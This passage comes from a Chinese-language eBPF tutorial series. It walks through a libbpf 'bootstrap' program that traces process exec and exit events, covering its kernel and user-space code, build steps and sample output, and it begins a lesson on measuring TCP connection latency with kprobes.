<p>通过学习本章节内容,您应该已经掌握了如何在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件的方法,以及如何分析这些事件以识别内核中的性能问题和其他与中断处理相关的问题。这些技能对于分析和优化 Linux 内核的性能至关重要。</p>
<p>为了更好地理解和实践 eBPF 编程,我们建议您阅读 eunomia-bpf 的官方文档:<a href="https://github.com/eunomia-bpf/eunomia-bpf">https://github.com/eunomia-bpf/eunomia-bpf</a> 。此外,我们还为您提供了完整的教程和源代码,您可以在 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 中查看和学习。希望本教程能够帮助您顺利入门 eBPF 开发,并为您的进一步学习和实践提供有益的参考。</p>
<div style="break-before: page; page-break-before: always;"></div><h1 id="ebpf-入门开发实践教程十一在-ebpf-中使用-libbpf-开发用户态程序并跟踪-exec-和-exit-系统调用"><a class="header" href="#ebpf-入门开发实践教程十一在-ebpf-中使用-libbpf-开发用户态程序并跟踪-exec-和-exit-系统调用">eBPF 入门开发实践教程十一:在 eBPF 中使用 libbpf 开发用户态程序并跟踪 exec() 和 exit() 系统调用</a></h1>
<p>eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。</p>
<p>在本教程中,我们将了解内核态和用户态的 eBPF 程序是如何协同工作的。我们还将学习如何使用原生的 libbpf 开发用户态程序,将 eBPF 应用打包为可执行文件,实现跨内核版本分发。</p>
<h2 id="libbpf-库以及为什么需要使用它"><a class="header" href="#libbpf-库以及为什么需要使用它">libbpf 库,以及为什么需要使用它</a></h2>
<p>libbpf 是一个 C 语言库,伴随内核版本分发,用于辅助 eBPF 程序的加载和运行。它提供了用于与 eBPF 系统交互的一组 C API使开发者能够更轻松地编写用户态程序来加载和管理 eBPF 程序。这些用户态程序通常用于分析、监控或优化系统性能。</p>
<p>使用 libbpf 库有以下优势:</p>
<ul>
<li>它简化了 eBPF 程序的加载、更新和运行过程。</li>
<li>它提供了一组易于使用的 API使开发者能够专注于编写核心逻辑而不是处理底层细节。</li>
<li>它能够确保与内核中的 eBPF 子系统的兼容性,降低了维护成本。</li>
</ul>
<p>同时libbpf 和 BTFBPF Type Format都是 eBPF 生态系统的重要组成部分。它们各自在实现跨内核版本兼容方面发挥着关键作用。BTFBPF Type Format是一种元数据格式用于描述 eBPF 程序中的类型信息。BTF 的主要目的是提供一种结构化的方式,以描述内核中的数据结构,以便 eBPF 程序可以更轻松地访问和操作它们。</p>
<p>BTF 在实现跨内核版本兼容方面的关键作用如下:</p>
<ul>
<li>BTF 允许 eBPF 程序访问内核数据结构的详细类型信息,而无需对特定内核版本进行硬编码。这使得 eBPF 程序可以适应不同版本的内核,从而实现跨内核版本兼容。</li>
<li>通过使用 BPF CO-RECompile Once, Run Everywhere技术eBPF 程序可以利用 BTF 在编译时解析内核数据结构的类型信息,进而生成可以在不同内核版本上运行的 eBPF 程序。</li>
</ul>
<p>结合 libbpf 和 BTFeBPF 程序可以在各种不同版本的内核上运行,而无需为每个内核版本单独编译。这极大地提高了 eBPF 生态系统的可移植性和兼容性,降低了开发和维护的难度。</p>
<h2 id="什么是-bootstrap"><a class="header" href="#什么是-bootstrap">什么是 bootstrap</a></h2>
<p>Bootstrap 是一个使用 libbpf 的完整应用,它利用 eBPF 程序来跟踪内核中的 exec() 系统调用(通过 SEC(&quot;tp/sched/sched_process_exec&quot;) handle_exec BPF 程序),这主要对应于新进程的创建(不包括 fork() 部分)。此外,它还跟踪进程的 exit() 系统调用(通过 SEC(&quot;tp/sched/sched_process_exit&quot;) handle_exit BPF 程序),以了解每个进程何时退出。</p>
<p>这两个 BPF 程序共同工作,允许捕获关于新进程的有趣信息,例如二进制文件的文件名,以及测量进程的生命周期,并在进程结束时收集有趣的统计信息,例如退出代码或消耗的资源量等。这是深入了解内核内部并观察事物如何真正运作的良好起点。</p>
<p>Bootstrap 还使用 argp APIlibc 的一部分)进行命令行参数解析,使得用户可以通过命令行选项配置应用行为。这种方式提供了灵活性,让用户能够根据实际需求自定义程序行为。虽然这些功能使用 eunomia-bpf 工具也可以实现,但是这里我们使用 libbpf 可以在用户态提供更高的可扩展性,不过也带来了不少额外的复杂度。</p>
<h2 id="bootstrap"><a class="header" href="#bootstrap">Bootstrap</a></h2>
<p>Bootstrap 分为两个部分:内核态和用户态。内核态部分是一个 eBPF 程序,它跟踪 exec() 和 exit() 系统调用。用户态部分是一个 C 语言程序,它使用 libbpf 库来加载和运行内核态程序,并处理从内核态程序收集的数据。</p>
<h3 id="内核态-ebpf-程序-bootstrapbpfc"><a class="header" href="#内核态-ebpf-程序-bootstrapbpfc">内核态 eBPF 程序 bootstrap.bpf.c</a></h3>
<pre><code class="language-c">// SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause
/* Copyright (c) 2020 Facebook */
#include &quot;vmlinux.h&quot;
#include &lt;bpf/bpf_helpers.h&gt;
#include &lt;bpf/bpf_tracing.h&gt;
#include &lt;bpf/bpf_core_read.h&gt;
#include &quot;bootstrap.h&quot;
char LICENSE[] SEC(&quot;license&quot;) = &quot;Dual BSD/GPL&quot;;
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, pid_t);
__type(value, u64);
} exec_start SEC(&quot;.maps&quot;);
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 256 * 1024);
} rb SEC(&quot;.maps&quot;);
const volatile unsigned long long min_duration_ns = 0;
SEC(&quot;tp/sched/sched_process_exec&quot;)
int handle_exec(struct trace_event_raw_sched_process_exec *ctx)
{
struct task_struct *task;
unsigned fname_off;
struct event *e;
pid_t pid;
u64 ts;
/* remember time exec() was executed for this PID */
pid = bpf_get_current_pid_tgid() &gt;&gt; 32;
ts = bpf_ktime_get_ns();
bpf_map_update_elem(&amp;exec_start, &amp;pid, &amp;ts, BPF_ANY);
/* don't emit exec events when minimum duration is specified */
if (min_duration_ns)
return 0;
/* reserve sample from BPF ringbuf */
e = bpf_ringbuf_reserve(&amp;rb, sizeof(*e), 0);
if (!e)
return 0;
/* fill out the sample with data */
task = (struct task_struct *)bpf_get_current_task();
e-&gt;exit_event = false;
e-&gt;pid = pid;
e-&gt;ppid = BPF_CORE_READ(task, real_parent, tgid);
bpf_get_current_comm(&amp;e-&gt;comm, sizeof(e-&gt;comm));
fname_off = ctx-&gt;__data_loc_filename &amp; 0xFFFF;
bpf_probe_read_str(&amp;e-&gt;filename, sizeof(e-&gt;filename), (void *)ctx + fname_off);
/* successfully submit it to user-space for post-processing */
bpf_ringbuf_submit(e, 0);
return 0;
}
SEC(&quot;tp/sched/sched_process_exit&quot;)
int handle_exit(struct trace_event_raw_sched_process_template* ctx)
{
struct task_struct *task;
struct event *e;
pid_t pid, tid;
u64 id, ts, *start_ts, duration_ns = 0;
/* get PID and TID of exiting thread/process */
id = bpf_get_current_pid_tgid();
pid = id &gt;&gt; 32;
tid = (u32)id;
/* ignore thread exits */
if (pid != tid)
return 0;
/* if we recorded start of the process, calculate lifetime duration */
start_ts = bpf_map_lookup_elem(&amp;exec_start, &amp;pid);
if (start_ts)
duration_ns = bpf_ktime_get_ns() - *start_ts;
else if (min_duration_ns)
return 0;
bpf_map_delete_elem(&amp;exec_start, &amp;pid);
/* if process didn't live long enough, return early */
if (min_duration_ns &amp;&amp; duration_ns &lt; min_duration_ns)
return 0;
/* reserve sample from BPF ringbuf */
e = bpf_ringbuf_reserve(&amp;rb, sizeof(*e), 0);
if (!e)
return 0;
/* fill out the sample with data */
task = (struct task_struct *)bpf_get_current_task();
e-&gt;exit_event = true;
e-&gt;duration_ns = duration_ns;
e-&gt;pid = pid;
e-&gt;ppid = BPF_CORE_READ(task, real_parent, tgid);
e-&gt;exit_code = (BPF_CORE_READ(task, exit_code) &gt;&gt; 8) &amp; 0xff;
bpf_get_current_comm(&amp;e-&gt;comm, sizeof(e-&gt;comm));
/* send data to user-space for post-processing */
bpf_ringbuf_submit(e, 0);
return 0;
}
</code></pre>
<p>这段代码是一个内核态 eBPF 程序bootstrap.bpf.c主要用于跟踪 exec() 和 exit() 系统调用。它通过 eBPF 程序捕获进程的创建和退出事件,并将相关信息发送到用户态程序进行处理。下面是对代码的详细解释。</p>
<p>首先,我们引入所需的头文件,定义 eBPF 程序的许可证以及两个 eBPF mapsexec_start 和 rb。exec_start 是一个哈希类型的 eBPF map用于存储进程开始执行时的时间戳。rb 是一个环形缓冲区类型的 eBPF map用于存储捕获的事件数据并将其发送到用户态程序。</p>
<pre><code class="language-c">#include &quot;vmlinux.h&quot;
#include &lt;bpf/bpf_helpers.h&gt;
#include &lt;bpf/bpf_tracing.h&gt;
#include &lt;bpf/bpf_core_read.h&gt;
#include &quot;bootstrap.h&quot;
char LICENSE[] SEC(&quot;license&quot;) = &quot;Dual BSD/GPL&quot;;
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, pid_t);
__type(value, u64);
} exec_start SEC(&quot;.maps&quot;);
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 256 * 1024);
} rb SEC(&quot;.maps&quot;);
const volatile unsigned long long min_duration_ns = 0;
</code></pre>
<p>接下来,我们定义了一个名为 handle_exec 的 eBPF 程序,它会在进程执行 exec() 系统调用时触发。首先,我们从当前进程中获取 PID记录进程开始执行的时间戳然后将其存储在 exec_start map 中。</p>
<pre><code class="language-c">SEC(&quot;tp/sched/sched_process_exec&quot;)
int handle_exec(struct trace_event_raw_sched_process_exec *ctx)
{
// ...
pid = bpf_get_current_pid_tgid() &gt;&gt; 32;
ts = bpf_ktime_get_ns();
bpf_map_update_elem(&amp;exec_start, &amp;pid, &amp;ts, BPF_ANY);
// ...
}
</code></pre>
<p>然后,我们从环形缓冲区 map rb 中预留一个事件结构,并填充相关数据,如进程 ID、父进程 ID、进程名等。之后我们将这些数据发送到用户态程序进行处理。</p>
<pre><code class="language-c"> // reserve sample from BPF ringbuf
e = bpf_ringbuf_reserve(&amp;rb, sizeof(*e), 0);
if (!e)
return 0;
// fill out the sample with data
task = (struct task_struct *)bpf_get_current_task();
e-&gt;exit_event = false;
e-&gt;pid = pid;
e-&gt;ppid = BPF_CORE_READ(task, real_parent, tgid);
bpf_get_current_comm(&amp;e-&gt;comm, sizeof(e-&gt;comm));
fname_off = ctx-&gt;__data_loc_filename &amp; 0xFFFF;
bpf_probe_read_str(&amp;e-&gt;filename, sizeof(e-&gt;filename), (void *)ctx + fname_off);
// successfully submit it to user-space for post-processing
bpf_ringbuf_submit(e, 0);
return 0;
</code></pre>
<p>最后,我们定义了一个名为 handle_exit 的 eBPF 程序,它会在进程执行 exit() 系统调用时触发。首先,我们从当前进程中获取 PID 和 TID线程 ID。如果 PID 和 TID 不相等,说明这是一个线程退出,我们将忽略此事件。</p>
<pre><code class="language-c">SEC(&quot;tp/sched/sched_process_exit&quot;)
int handle_exit(struct trace_event_raw_sched_process_template* ctx)
{
// ...
id = bpf_get_current_pid_tgid();
pid = id &gt;&gt; 32;
tid = (u32)id;
/* ignore thread exits */
if (pid != tid)
return 0;
// ...
}
</code></pre>
<p>接着,我们查找之前存储在 exec_start map 中的进程开始执行的时间戳。如果找到了时间戳,我们将计算进程的生命周期(持续时间),然后从 exec_start map 中删除该记录。如果未找到时间戳且指定了最小持续时间,则直接返回。</p>
<pre><code class="language-c"> // if we recorded start of the process, calculate lifetime duration
start_ts = bpf_map_lookup_elem(&amp;exec_start, &amp;pid);
if (start_ts)
duration_ns = bpf_ktime_get_ns() - *start_ts;
else if (min_duration_ns)
return 0;
bpf_map_delete_elem(&amp;exec_start, &amp;pid);
// if process didn't live long enough, return early
if (min_duration_ns &amp;&amp; duration_ns &lt; min_duration_ns)
return 0;
</code></pre>
<p>然后,我们从环形缓冲区 map rb 中预留一个事件结构,并填充相关数据,如进程 ID、父进程 ID、进程名、进程持续时间等。最后我们将这些数据发送到用户态程序进行处理。</p>
<pre><code class="language-c"> /* reserve sample from BPF ringbuf */
e = bpf_ringbuf_reserve(&amp;rb, sizeof(*e), 0);
if (!e)
return 0;
/* fill out the sample with data */
task = (struct task_struct *)bpf_get_current_task();
e-&gt;exit_event = true;
e-&gt;duration_ns = duration_ns;
e-&gt;pid = pid;
e-&gt;ppid = BPF_CORE_READ(task, real_parent, tgid);
e-&gt;exit_code = (BPF_CORE_READ(task, exit_code) &gt;&gt; 8) &amp; 0xff;
bpf_get_current_comm(&amp;e-&gt;comm, sizeof(e-&gt;comm));
/* send data to user-space for post-processing */
bpf_ringbuf_submit(e, 0);
return 0;
}
</code></pre>
<p>这样,当进程执行 exec() 或 exit() 系统调用时,我们的 eBPF 程序会捕获相应的事件,并将详细信息发送到用户态程序进行后续处理。这使得我们可以轻松地监控进程的创建和退出,并获取有关进程的详细信息。</p>
<p>除此之外,在 bootstrap.h 中,我们还定义了和用户态交互的数据结构:</p>
<pre><code class="language-c">/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
/* Copyright (c) 2020 Facebook */
#ifndef __BOOTSTRAP_H
#define __BOOTSTRAP_H
#define TASK_COMM_LEN 16
#define MAX_FILENAME_LEN 127
struct event {
int pid;
int ppid;
unsigned exit_code;
unsigned long long duration_ns;
char comm[TASK_COMM_LEN];
char filename[MAX_FILENAME_LEN];
bool exit_event;
};
#endif /* __BOOTSTRAP_H */
</code></pre>
<h3 id="用户态bootstrapc"><a class="header" href="#用户态bootstrapc">用户态bootstrap.c</a></h3>
<pre><code class="language-c">// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)
/* Copyright (c) 2020 Facebook */
#include &lt;argp.h&gt;
#include &lt;signal.h&gt;
#include &lt;stdio.h&gt;
#include &lt;time.h&gt;
#include &lt;sys/resource.h&gt;
#include &lt;bpf/libbpf.h&gt;
#include &quot;bootstrap.h&quot;
#include &quot;bootstrap.skel.h&quot;
static struct env {
bool verbose;
long min_duration_ms;
} env;
const char *argp_program_version = &quot;bootstrap 0.0&quot;;
const char *argp_program_bug_address = &quot;&lt;bpf@vger.kernel.org&gt;&quot;;
const char argp_program_doc[] =
&quot;BPF bootstrap demo application.\n&quot;
&quot;\n&quot;
&quot;It traces process start and exits and shows associated \n&quot;
&quot;information (filename, process duration, PID and PPID, etc).\n&quot;
&quot;\n&quot;
&quot;USAGE: ./bootstrap [-d &lt;min-duration-ms&gt;] [-v]\n&quot;;
static const struct argp_option opts[] = {
{ &quot;verbose&quot;, 'v', NULL, 0, &quot;Verbose debug output&quot; },
{ &quot;duration&quot;, 'd', &quot;DURATION-MS&quot;, 0, &quot;Minimum process duration (ms) to report&quot; },
{},
};
static error_t parse_arg(int key, char *arg, struct argp_state *state)
{
switch (key) {
case 'v':
env.verbose = true;
break;
case 'd':
errno = 0;
env.min_duration_ms = strtol(arg, NULL, 10);
if (errno || env.min_duration_ms &lt;= 0) {
fprintf(stderr, &quot;Invalid duration: %s\n&quot;, arg);
argp_usage(state);
}
break;
case ARGP_KEY_ARG:
argp_usage(state);
break;
default:
return ARGP_ERR_UNKNOWN;
}
return 0;
}
static const struct argp argp = {
.options = opts,
.parser = parse_arg,
.doc = argp_program_doc,
};
static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args)
{
if (level == LIBBPF_DEBUG &amp;&amp; !env.verbose)
return 0;
return vfprintf(stderr, format, args);
}
static volatile bool exiting = false;
static void sig_handler(int sig)
{
exiting = true;
}
static int handle_event(void *ctx, void *data, size_t data_sz)
{
const struct event *e = data;
struct tm *tm;
char ts[32];
time_t t;
time(&amp;t);
tm = localtime(&amp;t);
strftime(ts, sizeof(ts), &quot;%H:%M:%S&quot;, tm);
if (e-&gt;exit_event) {
printf(&quot;%-8s %-5s %-16s %-7d %-7d [%u]&quot;,
ts, &quot;EXIT&quot;, e-&gt;comm, e-&gt;pid, e-&gt;ppid, e-&gt;exit_code);
if (e-&gt;duration_ns)
printf(&quot; (%llums)&quot;, e-&gt;duration_ns / 1000000);
printf(&quot;\n&quot;);
} else {
printf(&quot;%-8s %-5s %-16s %-7d %-7d %s\n&quot;,
ts, &quot;EXEC&quot;, e-&gt;comm, e-&gt;pid, e-&gt;ppid, e-&gt;filename);
}
return 0;
}
int main(int argc, char **argv)
{
struct ring_buffer *rb = NULL;
struct bootstrap_bpf *skel;
int err;
/* Parse command line arguments */
err = argp_parse(&amp;argp, argc, argv, 0, NULL, NULL);
if (err)
return err;
/* Set up libbpf errors and debug info callback */
libbpf_set_print(libbpf_print_fn);
/* Cleaner handling of Ctrl-C */
signal(SIGINT, sig_handler);
signal(SIGTERM, sig_handler);
/* Load and verify BPF application */
skel = bootstrap_bpf__open();
if (!skel) {
fprintf(stderr, &quot;Failed to open and load BPF skeleton\n&quot;);
return 1;
}
/* Parameterize BPF code with minimum duration parameter */
skel-&gt;rodata-&gt;min_duration_ns = env.min_duration_ms * 1000000ULL;
/* Load &amp; verify BPF programs */
err = bootstrap_bpf__load(skel);
if (err) {
fprintf(stderr, &quot;Failed to load and verify BPF skeleton\n&quot;);
goto cleanup;
}
/* Attach tracepoints */
err = bootstrap_bpf__attach(skel);
if (err) {
fprintf(stderr, &quot;Failed to attach BPF skeleton\n&quot;);
goto cleanup;
}
/* Set up ring buffer polling */
rb = ring_buffer__new(bpf_map__fd(skel-&gt;maps.rb), handle_event, NULL, NULL);
if (!rb) {
err = -1;
fprintf(stderr, &quot;Failed to create ring buffer\n&quot;);
goto cleanup;
}
/* Process events */
printf(&quot;%-8s %-5s %-16s %-7s %-7s %s\n&quot;,
&quot;TIME&quot;, &quot;EVENT&quot;, &quot;COMM&quot;, &quot;PID&quot;, &quot;PPID&quot;, &quot;FILENAME/EXIT CODE&quot;);
while (!exiting) {
err = ring_buffer__poll(rb, 100 /* timeout, ms */);
/* Ctrl-C will cause -EINTR */
if (err == -EINTR) {
err = 0;
break;
}
if (err &lt; 0) {
printf(&quot;Error polling perf buffer: %d\n&quot;, err);
break;
}
}
cleanup:
/* Clean up */
ring_buffer__free(rb);
bootstrap_bpf__destroy(skel);
return err &lt; 0 ? -err : 0;
}
</code></pre>
<p>这个用户态程序主要用于加载、验证、附加 eBPF 程序,以及接收 eBPF 程序收集的事件数据,并将其打印出来。我们将分析一些关键部分。</p>
<p>首先,我们定义了一个 env 结构,用于存储命令行参数:</p>
<pre><code class="language-c">static struct env {
bool verbose;
long min_duration_ms;
} env;
</code></pre>
<p>接下来,我们使用 argp 库来解析命令行参数:</p>
<pre><code class="language-c">static const struct argp_option opts[] = {
{ &quot;verbose&quot;, 'v', NULL, 0, &quot;Verbose debug output&quot; },
{ &quot;duration&quot;, 'd', &quot;DURATION-MS&quot;, 0, &quot;Minimum process duration (ms) to report&quot; },
{},
};
static error_t parse_arg(int key, char *arg, struct argp_state *state)
{
// ...
}
static const struct argp argp = {
.options = opts,
.parser = parse_arg,
.doc = argp_program_doc,
};
</code></pre>
<p>main() 函数中,首先解析命令行参数,然后设置 libbpf 的打印回调函数 libbpf_print_fn以便在需要时输出调试信息</p>
<pre><code class="language-c">err = argp_parse(&amp;argp, argc, argv, 0, NULL, NULL);
if (err)
return err;
libbpf_set_print(libbpf_print_fn);
</code></pre>
<p>接下来,我们打开 eBPF 脚手架skeleton文件将最小持续时间参数传递给 eBPF 程序,并加载和附加 eBPF 程序:</p>
<pre><code class="language-c">skel = bootstrap_bpf__open();
if (!skel) {
fprintf(stderr, &quot;Failed to open and load BPF skeleton\n&quot;);
return 1;
}
skel-&gt;rodata-&gt;min_duration_ns = env.min_duration_ms * 1000000ULL;
err = bootstrap_bpf__load(skel);
if (err) {
fprintf(stderr, &quot;Failed to load and verify BPF skeleton\n&quot;);
goto cleanup;
}
err = bootstrap_bpf__attach(skel);
if (err) {
fprintf(stderr, &quot;Failed to attach BPF skeleton\n&quot;);
goto cleanup;
}
</code></pre>
<p>然后我们创建一个环形缓冲区ring buffer用于接收 eBPF 程序发送的事件数据:</p>
<pre><code class="language-c">rb = ring_buffer__new(bpf_map__fd(skel-&gt;maps.rb), handle_event, NULL, NULL);
if (!rb) {
err = -1;
fprintf(stderr, &quot;Failed to create ring buffer\n&quot;);
goto cleanup;
}
</code></pre>
<p>handle_event() 函数会处理从 eBPF 程序收到的事件。根据事件类型(进程执行或退出),它会提取并打印事件信息,如时间戳、进程名、进程 ID、父进程 ID、文件名或退出代码等。</p>
<p>最后,我们使用 ring_buffer__poll() 函数轮询环形缓冲区,处理收到的事件数据:</p>
<pre><code class="language-c">while (!exiting) {
err = ring_buffer__poll(rb, 100 /* timeout, ms */);
// ...
}
</code></pre>
<p>当程序收到 SIGINT 或 SIGTERM 信号时,它会最后完成清理、退出操作,关闭和卸载 eBPF 程序:</p>
<pre><code class="language-c">cleanup:
/* Clean up */
ring_buffer__free(rb);
bootstrap_bpf__destroy(skel);
return err &lt; 0 ? -err : 0;
}
</code></pre>
<h2 id="安装依赖"><a class="header" href="#安装依赖">安装依赖</a></h2>
<p>构建示例需要 clang、libelf 和 zlib。包名在不同的发行版中可能会有所不同。</p>
<p>在 Ubuntu/Debian 上,你需要执行以下命令:</p>
<pre><code class="language-shell">sudo apt install clang libelf1 libelf-dev zlib1g-dev
</code></pre>
<p>在 CentOS/Fedora 上,你需要执行以下命令:</p>
<pre><code class="language-shell">sudo dnf install clang elfutils-libelf elfutils-libelf-devel zlib-devel
</code></pre>
<h2 id="编译运行-1"><a class="header" href="#编译运行-1">编译运行</a></h2>
<p>编译运行上述代码:</p>
<pre><code class="language-console">$ git submodule update --init --recursive
$ make
BPF .output/bootstrap.bpf.o
GEN-SKEL .output/bootstrap.skel.h
CC .output/bootstrap.o
BINARY bootstrap
$ sudo ./bootstrap
[sudo] password for yunwei:
TIME EVENT COMM PID PPID FILENAME/EXIT CODE
03:16:41 EXEC sh 110688 80168 /bin/sh
03:16:41 EXEC which 110689 110688 /usr/bin/which
03:16:41 EXIT which 110689 110688 [0] (0ms)
03:16:41 EXIT sh 110688 80168 [0] (0ms)
03:16:41 EXEC sh 110690 80168 /bin/sh
03:16:41 EXEC ps 110691 110690 /usr/bin/ps
03:16:41 EXIT ps 110691 110690 [0] (49ms)
03:16:41 EXIT sh 110690 80168 [0] (51ms)
</code></pre>
<h2 id="总结-10"><a class="header" href="#总结-10">总结</a></h2>
<p>通过这个实例,我们了解了如何将 eBPF 程序与用户态程序结合使用。这种结合为开发者提供了一个强大的工具集,可以实现跨内核和用户空间的高效数据收集和处理。通过使用 eBPF 和 libbpf您可以构建更高效、可扩展和安全的监控和性能分析工具。</p>
<p>如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 或网站 <a href="https://eunomia.dev/zh/tutorials/">https://eunomia.dev/zh/tutorials/</a> 以获取更多示例和完整的教程。</p>
<div style="break-before: page; page-break-before: always;"></div><h1 id="ebpf入门开发实践教程十三统计-tcp-连接延时并使用-libbpf-在用户态处理数据"><a class="header" href="#ebpf入门开发实践教程十三统计-tcp-连接延时并使用-libbpf-在用户态处理数据">eBPF入门开发实践教程十三统计 TCP 连接延时,并使用 libbpf 在用户态处理数据</a></h1>
<p>eBPF (Extended Berkeley Packet Filter) 是一项强大的网络和性能分析工具,被应用在 Linux 内核上。eBPF 允许开发者动态加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。</p>
<p>本文是 eBPF 入门开发实践教程的第十三篇,主要介绍如何使用 eBPF 统计 TCP 连接延时,并使用 libbpf 在用户态处理数据。</p>
<h2 id="背景"><a class="header" href="#背景">背景</a></h2>
<p>在进行后端开发时,不论使用何种编程语言,我们都常常需要调用 MySQL、Redis 等数据库,或执行一些 RPC 远程调用,或者调用其他的 RESTful API。这些调用的底层通常都是基于 TCP 协议进行的。原因是 TCP 协议具有可靠连接、错误重传、拥塞控制等优点因此在网络传输层协议中TCP 的应用广泛程度超过了 UDP。然而TCP 也有一些缺点,如建立连接的延时较长。因此,也出现了一些替代方案,例如 QUICQuick UDP Internet Connections快速 UDP 网络连接)。</p>
<p>分析 TCP 连接延时对网络性能分析、优化以及故障排查都非常有用。</p>
<h2 id="tcpconnlat-工具概述"><a class="header" href="#tcpconnlat-工具概述">tcpconnlat 工具概述</a></h2>
<p><code>tcpconnlat</code> 这个工具能够跟踪内核中执行活动 TCP 连接的函数(如通过 <code>connect()</code> 系统调用),并测量并显示连接延时,即从发送 SYN 到收到响应包的时间。</p>
<h3 id="tcp-连接原理"><a class="header" href="#tcp-连接原理">TCP 连接原理</a></h3>
<p>TCP 连接的建立过程常被称为“三次握手”Three-way Handshake。以下是整个过程的步骤</p>
<ol>
<li>客户端向服务器发送 SYN 包:客户端通过 <code>connect()</code> 系统调用发出 SYN。这涉及到本地的系统调用以及软中断的 CPU 时间开销。</li>
<li>SYN 包传送到服务器:这是一次网络传输,涉及到的时间取决于网络延迟。</li>
<li>服务器处理 SYN 包:服务器内核通过软中断接收包,然后将其放入半连接队列,并发送 SYN/ACK 响应。这主要涉及 CPU 时间开销。</li>
<li>SYN/ACK 包传送到客户端:这是另一次网络传输。</li>
<li>客户端处理 SYN/ACK客户端内核接收并处理 SYN/ACK 包,然后发送 ACK。这主要涉及软中断处理开销。</li>
<li>ACK 包传送到服务器:这是第三次网络传输。</li>
<li>服务器接收 ACK服务器内核接收并处理 ACK然后将对应的连接从半连接队列移动到全连接队列。这涉及到一次软中断的 CPU 开销。</li>
<li>唤醒服务器端用户进程:被 <code>accept()</code> 系统调用阻塞的用户进程被唤醒然后从全连接队列中取出来已经建立好的连接。这涉及一次上下文切换的CPU开销。</li>
</ol>
<p>完整的流程图如下所示:</p>
<p><img src="13-tcpconnlat/tcpconnlat1.png" alt="tcpconnlat1" /></p>
<p>在客户端视角在正常情况下一次TCP连接总的耗时也就就大约是一次网络RTT的耗时。但在某些情况下可能会导致连接时的网络传输耗时上涨、CPU处理开销增加、甚至是连接失败。这种时候在发现延时过长之后就可以结合其他信息进行分析。</p>
<h2 id="tcpconnlat-的-ebpf-实现"><a class="header" href="#tcpconnlat-的-ebpf-实现">tcpconnlat 的 eBPF 实现</a></h2>
<p>为了理解 TCP 的连接建立过程,我们需要理解 Linux 内核在处理 TCP 连接时所使用的两个队列:</p>
<ul>
<li>半连接队列SYN 队列):存储那些正在进行三次握手操作的 TCP 连接,服务器收到 SYN 包后,会将该连接信息存储在此队列中。</li>
<li>全连接队列Accept 队列):存储已经完成三次握手,等待应用程序调用 <code>accept()</code> 函数的 TCP 连接。服务器在收到 ACK 包后,会创建一个新的连接并将其添加到此队列。</li>
</ul>
<p>理解了这两个队列的用途,我们就可以开始探究 tcpconnlat 的具体实现。tcpconnlat 的实现可以分为内核态和用户态两个部分,其中包括了几个主要的跟踪点:<code>tcp_v4_connect</code>, <code>tcp_v6_connect</code><code>tcp_rcv_state_process</code></p>
<p>这些跟踪点主要位于内核中的 TCP/IP 网络栈。当执行相关的系统调用或内核函数时,这些跟踪点会被激活,从而触发 eBPF 程序的执行。这使我们能够捕获和测量 TCP 连接建立的整个过程。</p>
<p>让我们先来看一下这些挂载点的源代码:</p>
<pre><code class="language-c">SEC(&quot;kprobe/tcp_v4_connect&quot;)
int BPF_KPROBE(tcp_v4_connect, struct sock *sk)
{
return trace_connect(sk);
}
SEC(&quot;kprobe/tcp_v6_connect&quot;)
int BPF_KPROBE(tcp_v6_connect, struct sock *sk)
{
return trace_connect(sk);
}
SEC(&quot;kprobe/tcp_rcv_state_process&quot;)
int BPF_KPROBE(tcp_rcv_state_process, struct sock *sk)
{
return handle_tcp_rcv_state_process(ctx, sk);
}
</code></pre>
<p>这段代码展示了三个内核探针kprobe的定义。<code>tcp_v4_connect</code><code>tcp_v6_connect</code> 在对应的 IPv4 和 IPv6 连接被初始化时被触发,调用 <code>trace_connect()</code> 函数,而 <code>tcp_rcv_state_process</code> 在内核处理 TCP 连接状态变化时被触发,调用 <code>handle_tcp_rcv_state_process()</code> 函数。</p>
<p>接下来的部分将分为两大块:一部分是对这些挂载点内核态部分的分析,我们将解读内核源代码来详细说明这些函数如何工作;另一部分是用户态的分析,将关注 eBPF 程序如何收集这些挂载点的数据,以及如何与用户态程序进行交互。</p>
<h3 id="tcp_v4_connect-函数解析"><a class="header" href="#tcp_v4_connect-函数解析">tcp_v4_connect 函数解析</a></h3>
<p><code>tcp_v4_connect</code>函数是Linux内核处理TCP的IPv4连接请求的主要方式。当用户态程序通过<code>socket</code>系统调用创建了一个套接字后,接着通过<code>connect</code>系统调用尝试连接到远程服务器,此时就会触发<code>tcp_v4_connect</code>函数。</p>
<pre><code class="language-c">/* This will initiate an outgoing connection. */
int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)
{
struct sockaddr_in *usin = (struct sockaddr_in *)uaddr;
struct inet_timewait_death_row *tcp_death_row;
struct inet_sock *inet = inet_sk(sk);
struct tcp_sock *tp = tcp_sk(sk);
struct ip_options_rcu *inet_opt;
struct net *net = sock_net(sk);
__be16 orig_sport, orig_dport;
__be32 daddr, nexthop;
struct flowi4 *fl4;
struct rtable *rt;
int err;
if (addr_len &lt; sizeof(struct sockaddr_in))
return -EINVAL;
if (usin-&gt;sin_family != AF_INET)
return -EAFNOSUPPORT;
nexthop = daddr = usin-&gt;sin_addr.s_addr;
inet_opt = rcu_dereference_protected(inet-&gt;inet_opt,
lockdep_sock_is_held(sk));
if (inet_opt &amp;&amp; inet_opt-&gt;opt.srr) {
if (!daddr)
return -EINVAL;
nexthop = inet_opt-&gt;opt.faddr;
}
orig_sport = inet-&gt;inet_sport;
orig_dport = usin-&gt;sin_port;
